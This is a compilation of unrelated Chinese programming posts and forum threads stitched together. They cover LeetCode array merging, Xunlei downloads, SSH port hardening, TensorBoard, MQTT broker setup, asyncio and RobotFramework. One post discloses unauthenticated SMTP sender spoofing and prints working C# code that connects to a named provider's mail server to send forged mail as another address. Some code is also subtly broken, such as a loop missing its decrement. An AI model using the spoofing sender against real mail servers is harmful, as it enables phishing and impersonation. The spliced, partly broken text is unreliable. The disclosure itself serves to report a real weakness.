合并两个有序数组

88. 合并两个有序数组

88. 合并两个有序数组
1.题目

%title插图%num
2.我的解决方案
注意:题目中的num1是有固定的内存位置的,计算改变了nums1的指向,*后题目验证的时候还是验证的*初的内存空间,所以必须把*终的答案改到这篇内存空间上才能算是正确的
class Solution:
def merge(self, nums1: List[int], m: int, nums2: List[int], n: int) -> None:
“””
Do not return anything, modify nums1 in-place instead.
“””
i = 0
j = m
while i < len(nums2):
nums1[j] = nums2[i]
i += 1
j += 1
nums1.sort()

时间复杂度: O ( ( m + n ) l o g ( m + n ) ) O((m+n)log(m+n)) O((m+n)log(m+n))
空间复杂度: O ( l o g ( m + n ) ) O(log(m+n)) O(log(m+n))
3.官方的解决方案
代码可以简化
class Solution:
def merge(self, nums1: List[int], m: int, nums2: List[int], n: int) -> None:
“””
Do not return anything, modify nums1 in-place instead.
“””
nums1[m:] = nums2
nums1.sort()

时间复杂度: O ( ( m + n ) l o g ( m + n ) ) O((m+n)log(m+n)) O((m+n)log(m+n))
空间复杂度: O ( l o g ( m + n ) ) O(log(m+n)) O(log(m+n))
逆向双指针(时间和空间性能*优的选择)
class Solution:
def merge(self, nums1: List[int], m: int, nums2: List[int], n: int) -> None:
“””
Do not return anything, modify nums1 in-place instead.
“””
# 使用时间和空间性能都*好的方法
# 都是两个有序数组
cur1, cur2 = m-1, n-1
tail = m + n – 1
while tail >= 0:
if cur2 < 0: # 当cur2排序完成的时候,cur1的排序也完成
break
elif cur1 < 0 or nums2[cur2] > nums1[cur1]: # 当cur1排序完成的时候,cur2的排序不一定完成
nums1[tail] = nums2[cur2]
cur2 -= 1
else:
nums1[tail] = nums1[cur1]
cur1 -= 1
tail
时间复杂度: O ( m + n ) O(m+n) O(m+n)
空间复杂度: O ( 1 ) O(1) O(1)

 

离线迅雷,添加离线资源可以但是无法下载到本地

离线迅雷,添加离线资源可以但是无法下载到本地
请问这个是什么原因

rosu 2017-07-25 20:18:42 +08:00 via Android
感觉应该是迅雷的锅,这几天都抽风。
xenme 2
xenme 2017-07-25 20:21:39 +08:00 via iPhone
现在除了迅雷 9 浏览器可以,其他的离线通道都被关闭了,包括*速版,迅雷 7 等
laobubu 3
laobubu 2017-07-25 20:45:56 +08:00 via Android
前两天看通知迅雷已经关了各种远程下载
shuiyingwuhen 4
shuiyingwuhen 2017-07-25 23:21:30 +08:00
@laobubu ,
@xenme .

目前怎么办呢? 是装迅雷 9 下载下来用还是?
xenme 5
xenme 2017-07-25 23:28:27 +08:00 via iPhone
@shuiyingwuhen 要么不用,用么用迅雷浏览器了。我是不愿意用迅雷浏览器了
lovestudykid 6
lovestudykid 2017-07-28 03:43:15 +08:00
@xenme 哪怕用那个客户端,速度也比不上 aria2 加离线基本都是 10MB/s+…
可能这样属于滥用了吧,每月十多块的价格的确支撑不起这么大的带宽使用量,国内的带宽死贵。
shuiyingwuhen 7
shuiyingwuhen 2017-07-28 07:11:30 +08:00 via Android
@lovestudykid,你是說 aria2 是屬於百度雲下載嗎? 不過我也在用那個插件,只是擺脫不用百度雲客戶端困擾對速度沒有幫助,請您指導我怎麼使用可以嗎
lovestudykid 8
lovestudykid 2017-07-28 09:02:09 +08:00
@shuiyingwuhen 我是说迅雷加+aria2 啊。百度的速度就那样,没啥办法吧。热门资源下载还是挺快的。

生产用服务器,需要修改 ssh 端口么?

在启动证书登陆,禁止 root 登陆,禁止密码登录等等措施之后,还需要吧 22 改成别的端口么?

Goheing 1
Goheing 2017-06-29 16:17:29 +08:00
需要 防止发生惊讶的事.
littleylv 2
littleylv 2017-06-29 16:19:26 +08:00
需要
但是操作需谨慎,小心改完上不去 ssh
trepwq 3
trepwq 2017-06-29 16:19:59 +08:00 via iPhone
改端口是为了防止扫,你可以看看 log,每天应该有不少登陆失败的
Tink 4
Tink 2017-06-29 16:26:11 +08:00
我改了
feelapi 5
feelapi 2017-06-29 16:27:17 +08:00
有 fail2ban,是看到不少扫描的。不过在本地开发时,用 vagrant,结果端口改了,会有些麻烦。要不我在 vm 里不启用这些?总之有些麻烦。
huhufuck 6
huhufuck 2017-06-29 16:30:11 +08:00
添加限制登录 IP 呢
gouchaoer 7
gouchaoer 2017-06-29 16:31:12 +08:00 via Android
不需要,改个长密码就 ok 了
zhs227 8
zhs227 2017-06-29 16:31:25 +08:00 ❤️ 1
vagrant 也可以更改端口的,需要加一下配置。

guest 上的 ssh 端口是 8687。这样改了以后也可以 vagrant ssh 上去。

config.vm.network :forwarded_port, guest: 8687, host: 2222, id: “ssh”
config.ssh.port = 2222
feelapi 9
feelapi 2017-06-29 16:35:42 +08:00
@zhs227 这个代码是写在 vagrantfile 里的,在某些情况下,vagrant up 可能会失败。因为默认的是 2222。不行的话,我就在 vm 里暂时不用这些,这样的话,简单些。
doubleflower 10
doubleflower 2017-06-29 16:41:02 +08:00 via Android
你都禁密码登入了有什么好改的

zhs227 11
zhs227 2017-06-29 17:10:42 +08:00
@feelapi 我没有试过端口冲突的情况,应该主要起作用的还是上面的 id:”ssh”,vagrant 应该会自动跳开冲突端口。
claysec 12
claysec 2017-06-29 17:12:34 +08:00
白名单或者限制请求数就行了。改端口还是治标不治本
claysec 13
claysec 2017-06-29 17:12:42 +08:00
白名单或者限制请求数就行了。改端口还是治标不治本。。。。
MrMario 14
MrMario 2017-06-29 18:21:11 +08:00 via iPhone
需要,一旦 ssh 爆出某漏洞,攻击者会直接拿攻击代码往全球 22 端口打
fzleee 15
fzleee 2017-06-29 18:42:59 +08:00 via iPhone
生产技术,仅仅对外开放 80 443 端口,22 号端口监听内网地址。
fzleee 16
fzleee 2017-06-29 18:43:30 +08:00 via iPhone
技术->环境
feelapi 17
feelapi 2017-06-29 20:22:24 +08:00
@fzleee
这个好,学习了。
snnn 18
snnn 2017-06-29 20:37:32 +08:00 via Android
都可。
不怕麻烦就改
QQ2171775959 19
QQ2171775959 2017-06-30 16:37:41 +08:00
改一下当然比较好,防范于未然。
kurisu 20
kurisu 2017-07-13 04:04:38 +08:00
需要,很多的攻击脚本感觉都是往 22 口打,爆破之类的,改了配置文件的 ssh 端口,记得把调整防火墙把那个端口打开,别问我为什么知道的,血的教训 orz,还好一个小时前有个自动快照
kurisu 21
kurisu 2017-07-13 04:05:44 +08:00
长密码被破只是时间问题,那天一上线 4999 次的错误输入,感觉应该是有更多,或许可以做个试错多少次就封 IP 的机制?
LINAICAI 22
LINAICAI 2017-12-02 12:33:32 +08:00 via iPhone
需要改的,*好禁止 root 远程登录,启用别的账户 ssh 后用 su 方式切换,就麻烦些

国内邮箱服务器严重漏洞

这几天学习了下邮箱服务器及邮件协议,发现了不少问题,于是就测试了一下各个大型邮箱服务商的服务器。(这个问题应该之前也有人发现的,可能我没找到把)

经过测试发现了一个非常严重的问题(至少我觉得已经非常严重了),就是可以完全伪造任何人的邮箱地址发送邮件,比如:system@163.com 发送给除163邮箱的大多数邮箱。

我测试了QQ、网易、新浪三家的邮箱服务器,都没有做任何的验证(腾讯的稍微好点)。

我先说说这个漏洞存在哪里,首先邮箱服务器之间的通信,比如下面这个:

A 发送服务器 B接收服务器
A:链接B
B:220 Welcome to Happy you and me SMTP Server.
A:HELO m1.163.com
B:250 ok
A:MAIL FROM:<system@net.cn>
B:250 ok
A:RCPT TO:<happyyouandme1@sina.cn>
B:250 ok
A:DATA
B:354 Start mail input; end with <CRLF>.<CRLF>
A:DATA数据
B:250 OK
之后就是退出命令
按常理我们应该在A发HELO m1.163.com 的时候去获取A的服务器信息,然后验证是否于当前链接的IP地址符合,但我测试的这三家都没有做任何的验证,也就导致了MAIL FROM 的邮箱可以任意指定。
其实我认为当初设计这个协议的时候作者的想法是互相表明了身份后双方都应该验证对方身份是否合法的,但可惜的是以上三家服务商并没有验证(163的邮箱服务器好像不是自己的),

我文采不好也就不多说了,希望各大服务商能尽快修复这个问题带给我们用户一点安全感吧,现在我都不敢相信邮箱内容了,打电话确认了之后才放心,
如果小弟有啥不对的地方请各位多多指正,小弟不甚感激
*后付上我测试的邮箱接收和发送的代码,各位大哥大姐也可以去测下,(但测试测试就好了。。  别做坏事哦)

接受端:

复制代码
class Program
{
static void Main(string[] args)
{
var listener = new TcpListener(IPAddress.Any, 25);
listener.Start();
while (true)
{
Console.WriteLine(“服务已启动”);
var socket = listener.AcceptSocket();
ResolveSocket(socket);
}
}
static void ResolveSocket(Socket socket)
{
Console.WriteLine(“收到消息:{0}”, socket.RemoteEndPoint);//收到链接
socket.Send(System.Text.Encoding.ASCII.GetBytes(“220 Welcome to Happy you and me SMTP Server.\r\n”));//服务器准备完成,并发送欢迎语句
byte[] bytes = new byte[80];
var count = socket.Receive(bytes);//接收
var sendServer = System.Text.Encoding.ASCII.GetString(bytes);
Console.WriteLine(sendServer);
Console.WriteLine(“发件箱服务器:{0}”, sendServer.Split(‘ ‘)[1]);//获取发送服务器地址
socket.Send(System.Text.Encoding.ASCII.GetBytes(“250 x-xh.com\r\n”));//发生确认信息
bytes = new byte[80];
count = socket.Receive(bytes);
sendServer = System.Text.Encoding.ASCII.GetString(bytes);//获取到发送邮件的主人地址
Console.WriteLine(sendServer);
Console.WriteLine(“发件人地址: {0}”, System.Text.RegularExpressions.Regex.Match(sendServer, @”\<([\s\S]+)\>”).Groups[1]);//获取发件人地址
socket.Send(System.Text.Encoding.ASCII.GetBytes(“250 OK\r\n”));//告诉对方服务器可以接收发件人发来的邮件
bytes = new byte[80];
count = socket.Receive(bytes);
sendServer = System.Text.Encoding.ASCII.GetString(bytes);//250 OK
Console.WriteLine(sendServer);
while (sendServer.StartsWith(“rcpt”, StringComparison.OrdinalIgnoreCase))//循环获取接收此邮件人的信息
{
Console.WriteLine(“收件人地址: {0}”, System.Text.RegularExpressions.Regex.Match(sendServer, @”\<([\s\S]+)\>”).Groups[1]);//获取收件人地址
socket.Send(System.Text.Encoding.ASCII.GetBytes(“250 OK\r\n”));//告诉对方服务器接收人可以接收发件人发来的邮件
bytes = new byte[80];
count = socket.Receive(bytes);
sendServer = System.Text.Encoding.ASCII.GetString(bytes);//250 OK
Console.WriteLine(sendServer);
}
if (sendServer.StartsWith(“data”, StringComparison.OrdinalIgnoreCase))//正式数据
{
socket.Send(System.Text.Encoding.ASCII.GetBytes(“354 Start mail input; end with <CRLF>.<CRLF>\r\n”));//告诉对方可以开始写入邮件内容了
bytes = new byte[512];
while ((count = socket.Receive(bytes)) == 512)
{
sendServer += System.Text.Encoding.ASCII.GetString(bytes);
}
sendServer += System.Text.Encoding.ASCII.GetString(bytes);
socket.Send(System.Text.Encoding.ASCII.GetBytes(“250 OK\r\n”));//告诉对方我接收完成了
bytes = new byte[512];
socket.Receive(bytes);
sendServer += System.Text.Encoding.ASCII.GetString(bytes);
Console.WriteLine(sendServer.Trim());
System.IO.File.WriteAllText(“d:\\1.txt”, sendServer);
}
socket.Send(System.Text.Encoding.ASCII.GetBytes(“221 Goodbye.\r\n”));//结束此次对话
socket.Close();
socket.Dispose();

}
}
复制代码
发送端:

复制代码
class Program
{
static void Main(string[] args)
{
//113.108.77.23 //qq邮箱 更多服务器nslookup -qt=mx qq.com
//163mx02.mxmail.netease.com// 163邮箱 更多服务器nslookup -qt=mx 163.com
//freemx1.sinamail.sina.com.cn
System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient(“freemx1.sinamail.sina.com.cn”, 25);//连接接收此邮件的服务器
byte[] bytes = new byte[80];
var count = client.Client.Receive(bytes);//接收服务器返回的状态信息
var sendServer = System.Text.Encoding.ASCII.GetString(bytes);//应该返回220
Console.WriteLine(sendServer);
client.Client.Send(System.Text.Encoding.ASCII.GetBytes(“HELO m1.163.com\r\n”));//发送HELO信息
bytes = new byte[80];
count = client.Client.Receive(bytes);//接收服务器返回的状态信息
sendServer = System.Text.Encoding.ASCII.GetString(bytes);//应该返回250
Console.WriteLine(sendServer);
client.Client.Send(System.Text.Encoding.ASCII.GetBytes(“MAIL FROM:<system@net.cn>\r\n”));//通知服务器邮件的发送者
bytes = new byte[80];
count = client.Client.Receive(bytes);//接收服务器返回的状态信息
sendServer = System.Text.Encoding.ASCII.GetString(bytes);//返回250 则可以继续,否则不能继续了
Console.WriteLine(sendServer);
client.Client.Send(System.Text.Encoding.ASCII.GetBytes(“RCPT TO:<123456@sina.cn>\r\n”));//通知服务器接收邮件的邮箱地址 多个可循环此步骤,但要接收了返回信息在发
bytes = new byte[80];
count = client.Client.Receive(bytes);//接收服务器返回的状态信息
sendServer = System.Text.Encoding.ASCII.GetString(bytes);//返回250 则可以继续,否则不能继续了
Console.WriteLine(sendServer);
client.Client.Send(System.Text.Encoding.ASCII.GetBytes(“DATA\r\n”));//通知服务器要发生邮件内容了
bytes = new byte[80];
count = client.Client.Receive(bytes);//接收服务器返回的状态信息
sendServer = System.Text.Encoding.ASCII.GetString(bytes);//返回354 则可以继续,否则不能继续了
Console.WriteLine(sendServer);
string data = @”From:1049099499<system@net.cn>
To: 1049099499<123456@sina.cn>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: Base64

5LiN5aW95oSP5oCd77yM5ou/5L2g6YKu566x5Y+R5LqG5Liq6YKu5Lu2LeOAgi3vvIE=
——=_Part_161944_1210153027.551452414

.
“;
client.Client.Send(System.Text.Encoding.ASCII.GetBytes(data));//邮件内容,内容是Base64编码的 “不好意思,拿你邮箱发了个邮件-。-!”
Console.WriteLine(“数据发送完成”);
bytes = new byte[80];
count = client.Client.Receive(bytes);//接收服务器返回的状态信息
sendServer = System.Text.Encoding.ASCII.GetString(bytes);
Console.WriteLine(sendServer);//返回250 则成功了 550则失败,发送给qq的邮箱失败率很高,不知道为什么,451也是失败,但不知道什么东西
Console.Read();
}
}

tensorboard可视化

tensorboard可视化

inputs可视化
with tf.name_scope(‘inputs’):
xs=tf.placeholder(tf.float32,[None,1],name=’x_input’)#None是无论给多少sample都OK
ys=tf.placeholder(tf.float32,[None,1],name=’y_input’)

hidden layer可视化
def add_layer(inputs,in_size,out_size,activation_function=None):
with tf.name_scope(‘layer’):
with tf.name_scope(‘weight’):
Weights=tf.Variable(tf.random_normal([in_size,out_size]),name=’W’)#用random比用0好
with tf.name_scope(‘biases’):
biases=tf.Variable(tf.zeros([1,out_size])+0.1,name=’b’) #biases推荐的值不为0
with tf.name_scope(‘Wx_plus_b’):
Wx_plus_b=tf.matmul(inputs,Weights)+biases
if activation_function is None:
outputs=Wx_plus_b
else:
outputs=activation_function(Wx_plus_b)
return outputs

loss&train可视化
with tf.name_scope(‘loss’):
loss=tf.reduce_mean(tf.reduce_sum(tf.square(ys-prediction),reduction_indices=[1]),name=’loss’)
#平方和相加再平均,reduction_indices=[1]时,*维对应位置相加

with tf.name_scope(‘train’):
train_step=tf.train.GradientDescentOptimizer(0.1).minimize(loss)#通常learning rate 小于1

文件储存
init=tf.initialize_all_variables()#初始所有变量
sess=tf.Session()
writer= tf.summary.FileWriter(‘/tensorboard/logs/’,sess.graph)#放到浏览器之后才能观看
sess.run(init)#上面所有步骤都没有激活直到这里

tensorboard打开
进入cmd :cd/d logs文件的上一级
如:cd/d D:\tensorboard
then tensorboard –logdir=logs
进入网址打开graphs

%title插图%num
tensorboard打开注意事项:
①目录中不要出现中文!!!!
②在cmd中cd/d 时后面加的是logs文件的上一级目录!!!
③*好用goggle浏览器打开
④*好在打开前在anaconda激活tensorflow
⑤在进入网页前不要按ctrl+c,按完就进不去了

MQTT——服务器搭建(一)

MQTT,是IBM推出的一种针对移动终端设备的基于TCP/IP的发布/预订协议,可以连接大量的远程传感器和控制设备:

轻量级的消息订阅和发布(publish/subscribe)协议
建立在TCP/IP协议之上
IoT,internet of things,物联网,MQTT在这方面应用较多。

MQTT协议是针对如下情况设计的:

M2M(Machine to Machine) communication,机器端到端通信,比如传感器之间的数据通讯
因为是Machine to Machine,需要考虑:
Machine,或者叫设备,比如温度传感器,硬件能力很弱,协议要考虑尽量小的资源消耗,比如计算能力和存储等
M2M可能是无线连接,网络不稳定,带宽也比较小
MQTT协议的架构,用一个示例说明。比如有1个温度传感器(1个Machine),2个小的显示屏(2个Machine),显示屏要显示温度传感器的温度值。

显示器需要先通过MQTT协议subscribe(订阅)一个比如叫temperature的topic(主题):

%title插图%num

当温度传感器publish(发布)温度数据,显示器就可以收到了:

%title插图%num

注:以上两张图,取自MQTT and CoAP, IoT Protocols

协议里还有2个主要的角色:

  • client,客户端
  • broker,服务器端

它们是通过TCP/IP协议连接的。因为MQTT是协议,所以不能拿来直接用的,就好比HTTP协议一样。需要找实现这个协议的库或者服务器来运行。

MQTT的官网见:http://mqtt.org/。其中http://mqtt.org/software里面提供了官方推荐的各种服务器和客户端使用的各种语言版本的API。

下面以服务器apache-apollo-1.7.1为例,在windows环境下测试。

1、这里下载Apollo服务器,下载后解压。如下图所示:

%title插图%num

bin下包含apollo和apollo.cmd两个文件:

%title插图%num

2、运行apache-apollo-1.7.1\bin\apollo.cmd,输入create mybroker(名字任意取,这里是根据官网介绍的来取的)创建服务器实例,服务器实例包含了所有的配置,运行时数据等,并且和一个服务器进程关联。如果双击apollo.cmd出现闪一下就关闭的情况,则需要在命令行中敲入命令:

%title插图%num

create mybroker之后会在bin目录下生成mybroker文件夹。

%title插图%num

里面包含有很多信息,其中etc\apollo.xml文件下是配置服务器信息的文件,etc\users.properties文件包含连接MQTT服务器时用到的用户名和密码,后面会介绍,可以修改原始的admin=password,可以接着换行添加新的用户名密码。

3、打开cmd,运行apache-apollo-1.7.1\bin\mybroker\bin\apollo-broker.cmd run 开启服务器,如下图:

%title插图%num

可以在浏览器中输入http://127.0.0.1:61680/,其自动转入:http://127.0.0.1:61680/console/index.html,apollo的登录页面。

%title插图%num

此界面表示已经安装成功:该登录的用户名和密码在\apache-apollo-1.7.1\bin\mybroker\etc\users.properties里,打开users.properties文件:

## —————————————————————————
## Licensed to the Apache Software Foundation (ASF) under one or more
## contributor license agreements. See the NOTICE file distributed with
## this work for additional information regarding copyright ownership.
## The ASF licenses this file to You under the Apache License, Version 2.0
## (the “License”); you may not use this file except in compliance with
## the License. You may obtain a copy of the License at
##
## http://www.apache.org/licenses/LICENSE-2.0
##
## Unless required by applicable law or agreed to in writing, software
## distributed under the License is distributed on an “AS IS” BASIS,
## WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
## See the License for the specific language governing permissions and
## limitations under the License.
## —————————————————————————

#
# The list of users that can login. This file supports both plain text or
# encrypted passwords. Here is an example what an encrypted password
# would look like:
#
# admin=ENC(Cf3Jf3tM+UrSOoaKU50od5CuBa8rxjoL)
#

admin=password

经过上面的简单步骤,服务器基本上就已经完成。输入admin,password就可以登录了,如下图:

%title插图%num

python中asyncio异步编程教程1

python中asyncio异步编程教程1

1.   想学asyncio,得先了解协程
携程的意义:

计算型的操作,利用协程来回切换执行,没有任何意义,来回切换并保存状态 反倒会降低性能。
IO型的操作,利用协程在IO等待时间就去切换执行其他任务,当IO操作结束后再自动回调,那么就会大大节省资源并提供性能,从而实现异步编程(不等待任务结束就可以去执行其他代码)
2. 协程和多线程之间的共同点和区别:
共同点:

都是并发操作,多线程同一时间点只能有一个线程在执行,协程同一时间点只能有一个任务在执行;

不同点:

多线程,是在I/O阻塞时通过切换线程来达到并发的效果,在什么情况下做线程切换是由操作系统来决定的,开发者不用操心,但会造成竞争条件 (race condition) ;

协程,只有一个线程,在I/O阻塞时通过在线程内切换任务来达到并发的效果,在什么情况下做任务切换是开发者决定的,不会有竞争条件 (race condition) 的情况;多线程的线程切换比协程的任务切换开销更大;
对于开发者而言,多线程并发的代码比协程并发的更容易书写。

一般情况下协程并发的处理效率比多线程并发更高。

3. greenlet实现协程
greenlet用于创建协程,switch用于进行协程之间的切换某个协程在执行的过程中可以随时的被其他协程通过switch函数来打断,转而去执行其他协程,当前协程的中断现场会被保留,一旦中断的协程再次获得cpu的执行权首先会恢复现场然后从中断处继续执行这种机制下的协程是同步,不能并发

pip install greenlet

import time
import greenlet

def func1():
print(“func11”)
gr2.switch()
time.sleep(1)
print(“func22”)
gr2.switch()

def func2():
print(“func33”)
gr1.switch()
time.sleep(1)
print(“func44”)

start = time.time()
gr1 = greenlet.greenlet(func1)
gr2 = greenlet.greenlet(func2)
gr1.switch()
end = time.time()
print(end – start)
4. yield关键字实现协程
def func1():
yield 1
yield from func2()
yield 3

def func2():
yield 2
yield 4

ff = func1()
for item in ff:
print(item)
5. (1)gevent实现协程
pip install gevent

from greenlet import greenlet
from time import sleep
def func1():
print(“协程1”)
sleep(2)
g2.switch()
print(“协程1恢复运行”)

def func2():
print(“协程2”)
sleep(1)
g3.switch()
def func3():
print(“协程3”)
sleep(1)
g1.switch()

if __name__ == ‘__main__’:
# 使用greenlet来创建三个协程
g1 = greenlet(func1)
g2 = greenlet(func2)
g3 = greenlet(func3)
# print(g1)
g1.switch() # 让协程g1取抢占cpu资源
(2) gevent实现异步协程
# 协程被创建出来以后默认是多个协程同步执行
# 我们可以加入monkey补丁,把同步的协程转成异步协程
from gevent import monkey # 注意:monkey的引入必须在其他模块之前

monkey.patch_all() # 用monkey给整个协程队列,添加一个非阻塞I/O的补丁,使得他们成为异步协程
import time
import requests
import gevent

headers = {
‘User-Agent’: ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36’}

def func(url, i):
print(“协程%d开启!” % i)
res = requests.get(url=url, headers=headers)
html = res.text
print(“协程%d执行结束,获取到的响应体大小为:%d” % (i, len(html)))

if __name__ == ‘__main__’:
start = time.time()
urls = [
“https://www.baidu.com/”,
“https://www.qq.com/”,
“https://www.sina.com.cn”,
“https://www.ifeng.com/”,
“https://www.163.com/”
]
# 创建5个协程分别对上面5个网站进行访问
g_list = []
for i in range(len(urls)):
g = gevent.spawn(func, urls[i], i)
g_list.append(g)
# func(urls[i], i)
gevent.joinall(g_list)
end = time.time()
print(end – start)
5. asyncio模块实现异步协程
在python3.4及之后的版本使用,asyncio厉害之处在于:遇到IO操作时会自动切换执行其它任务

import time
import asyncio

@asyncio.coroutine
def func1():
print(1)
yield from asyncio.sleep(1) # 遇到IO耗时操作,自动切换到tasks中的其它任务
print(2)

@asyncio.coroutine
def func2():
print(3)
yield from asyncio.sleep(1) # 遇到IO耗时操作,自动切换到tasks中的其它任务
print(4)

tasks = [
asyncio.ensure_future(func1()),
asyncio.ensure_future(func2())
]

start = time.time()
loop = asyncio.get_event_loop()
loop.run_until_complete(asyncio.wait(tasks))
end = time.time()
print(end – start
6. async & await关键字实现异步编程(现在推荐使用的用法)
在python3.5及之后的版本中可以使用

import time
import asyncio

async def func1():
print(1)
await asyncio.sleep(1)
print(2)

async def func2():
print(3)
await asyncio.sleep(1)
print(4)

tasks = [
asyncio.ensure_future(func1()),
asyncio.ensure_future(func2())
]

start = time.time()
loop = asyncio.get_event_loop()
loop.run_until_complete(asyncio.wait(tasks))
end = time.time()
print(end – start)
6.1 事件循环
事件循环,可以把他当做是一个while循环,这个while循环在周期性的运行并执行一些任务,在特定条件下终止循环。

伪代码:

# 伪代码
任务列表 = [ 任务1, 任务2, 任务3,… ]
while True:
可执行的任务列表,已完成的任务列表 = 去任务列表中检查所有的任务,将’可执行’和’已完成’的任务返回
for 就绪任务 in 已准备就绪的任务列表:
执行已就绪的任务
for 已完成的任务 in 已完成的任务列表:
在任务列表中移除 已完成的任务
如果 任务列表 中的任务都已完成,则终止循环
6.2 协程和异步编程
协程函数,定义形式为 async def 的函数。

协程对象,调用 协程函数 所返回的对象。

# 定义一个协程函数
async def func():
pass
# 调用协程函数,返回一个协程对象
result = func()
注意:调用协程函数时,函数内部代码不会执行,只是会返回一个协程对象。

6.3 基本应用
程序中,如果想要执行协程函数的内部代码,需要 事件循环 和 协程对象 配合才能实现,如:

import asyncio
async def func():
print(“协程内部代码”)
# 调用协程函数,返回一个协程对象。
result = func()
# 方式一
# loop = asyncio.get_event_loop() # 创建一个事件循环
# loop.run_until_complete(result) # 将协程当做任务提交到事件循环的任务列表中,协程执行完成之后终止。
# 方式二
# 本质上方式一是一样的,内部先 创建事件循环 然后执行 run_until_complete,一个简便的写法。
# asyncio.run 函数在 Python 3.7 中加入 asyncio 模块,
asyncio.run(result)
这个过程可以简单理解为:将协程当做任务添加到 事件循环 的任务列表,然后事件循环检测列表中的协程是否 已准备就绪(默认可理解为就绪状态),如果准备就绪则执行其内部代码。

6.4 await关键字
await是一个只能在协程函数中使用的关键字,用于遇到IO操作时挂起 当前协程(任务),当前协程(任务)挂起过程中 事件循环可以去执行其他的协程(任务),当前协程IO处理完成时,可以再次切换回来执行await之后的代码,

await + 可等待对象(协程对象、Future对象、Task对象)

示例1:await+协程对象

import asyncio

async def func1():
print(“start”)
await asyncio.sleep(1)
print(“end”)
return “func1执行完毕”

async def func2():
print(“func2开始执行”)
# await关键字后面可以跟可等待对象(协程对象、Future对象、Task对象)
response = await func1()
print(response)
print(“func2执行完毕”)

asyncio.run(func2())
示例2: 协程函数中可以使用多次await关键字

import asyncio

async def func1():
print(“start”)
await asyncio.sleep(1)
print(“end”)
return “func1执行完毕”

async def func2():
print(“func2开始执行”)
# await关键字后面可以跟可等待对象(协程对象、Future对象、Task对象)
response = await func1()
print(response)
response2 = await func1()
print(response2)
print(“func2执行完毕”)

asyncio.run(func2())
6.5 task对象
Tasks用于并发调度协程,通过asyncio.create_task(协程对象)的方式创建Task对象,这样可以让协程加入事件循环中等待被调度执行。除了使用 asyncio.create_task() 函数以外,还可以用低层级的 loop.create_task() 或 ensure_future() 函数。不建议手动实例化 Task 对象。

本质上是将协程对象封装成task对象,并将协程立即加入事件循环,同时追踪协程的状态。

注意:asyncio.create_task() 函数在 Python 3.7 中被加入。在 Python 3.7 之前,可以改用低层级的 asyncio.ensure_future() 函数。

示例1:

import asyncio

async def func():
print(1)
await asyncio.sleep(1)
print(2)
return “func的返回值”

async def main():
print(3)
# 创建协程,将协程封装到一个task对象中并立即添加到事件循环列表中,等待事件循环去执行,(默认是就绪状态)
task1 = asyncio.create_task(func())
# 创建协程,将协程封装到一个task对象中并立即添加到事件循环列表中,等待事件循环去执行,(默认是就绪状态)
task2 = asyncio.create_task(func())
# 当执行某协程遇到IO操作时,会自动化切换执行其他任务。
# 此处的await是等待相对应的协程全都执行完毕并获取结果
ret1 = await task1
ret2 = await task2
print(ret1, ret2)

asyncio.run(main())
示例2:用的还是比较多的

import asyncio

async def func():
print(1)
await asyncio.sleep(1)
print(2)
return “func的返回值”

async def main():
print(3)
# 创建协程,将协程封装到Task对象中并添加到事件循环的任务列表中,等待事件循环去执行(默认是就绪状态)。
# 在调用
task_list = [
asyncio.create_task(func()),
asyncio.create_task(func())
]
# 当执行某协程遇到IO操作时,会自动化切换执行其他任务。
# 此处的await是等待所有协程执行完毕,并将所有协程的返回值保存到done
# 如果设置了timeout值,则意味着此处*多等待的秒,完成的协程返回值写入到done中,未完成则写到pending中。
done, pending = await asyncio.wait(task_list, timeout=None)
print(done)
print(pending)

asyncio.run(main())
示例3:

import asyncio

async def func():
print(“执行协程函数内部代码”)
# 遇到IO操作挂起当前协程(任务),等IO操作完成之后再继续往下执行。当前协程挂起时,事件循环可以去执行其他协程(任务)。
response = await asyncio.sleep(2)
print(“IO请求结束,结果为:”, response)

coroutine_list = [func(), func()]
# 错误:coroutine_list = [ asyncio.create_task(func()), asyncio.create_task(func()) ]
# 此处不能直接 asyncio.create_task,因为将Task立即加入到事件循环的任务列表,
# 但此时事件循环还未创建,所以会报错。
# 使用asyncio.wait将列表封装为一个协程,并调用asyncio.run实现执行两个协程
# asyncio.wait内部会对列表中的每个协程执行ensure_future,封装为Task对象。
done, pending = asyncio.run(asyncio.wait(coroutine_list))
总结:
在程序中只要看到async和await关键字,其内部就是基于协程实现的异步编程,这种异步编程是通过一个线程在IO等待时间去执行其他任务,从而实现并发。

如果是 I/O 密集型,且 I/O 请求比较耗时的话,使用协程。
如果是 I/O 密集型,且 I/O 请求比较快的话,使用多线程。
如果是 计算 密集型,考虑可以使用多核 CPU,使用多进程。

RobotFramework 之 数据驱动

RobotFramework 之 数据驱动

RobotFramework 之 数据驱动
RF数据驱动
RF数据驱动
用例逻辑相同,每次输入的数据不同,并且数据量很大的时候,这时候就要使用到数据驱动。

比如测试输入框的内容,页面上有很多输入框,在输入框中要输入很多次数据进行验证,负数、0、小数、整数、中文、英文、特殊字符及组合输入。
总不能说每个输入框、每次输入都写一个测试用例进行验证,通过复制粘贴去修改内容,多麻烦。这时候用上数据驱动,就会省事很多

在RF中,通过使用 [template]用户关键字自发实现数据驱动

没有这种类型的例子进行很好的说明,依旧使用163邮箱登录进行举例验证

common.robot

*** Settings ***
Library SeleniumLibrary

*** Keywords ***
登录网易邮箱
[Arguments] ${账号} ${密码}
# 打开chrome浏览器访问163邮箱
open browser https://mail.163.com/ chrome
sleep 5
maximize browser window
# 切换到iframe
select frame xpath=//iframe[contains(@id,’iframe’)]
# 用户名输入框中输入 用户名
sleep 2
input text xpath=//*[@name=”email”] ${账号}
sleep 2
# 密码输入框中输入 密码
input text xpath=//*[@name=”password”] ${密码}
sleep 2
# 点击登录按钮
click element xpath=//*[@id=”dologin”]
sleep 10

关闭浏览器
close browser

[Template]关键字后的内容是定义的用户关键字,语法要求是后面接关键字
而此时用例的主体变成了要传递的参数的内容,对应的是${账号}、${密码}
(编辑器会识别不了该语法,因为*个参数不是关键字,会报红,但运行是不会报错的)

test.robot

*** Settings ***
Library SeleniumLibrary
Resource common.robot

*** Test Cases ***
网易邮箱
[Template] 登录网易邮箱
用户名1 密码1
用户名2 密码2

注意,此时用例主体就不能再有其他关键字内容了,因为都变成了默认对应的参数${账号}、${密码},如果还有其他关键字内容,会被当成是对应的参数进行传递,或者参数不对应,产生报错
test.robot

*** Settings ***
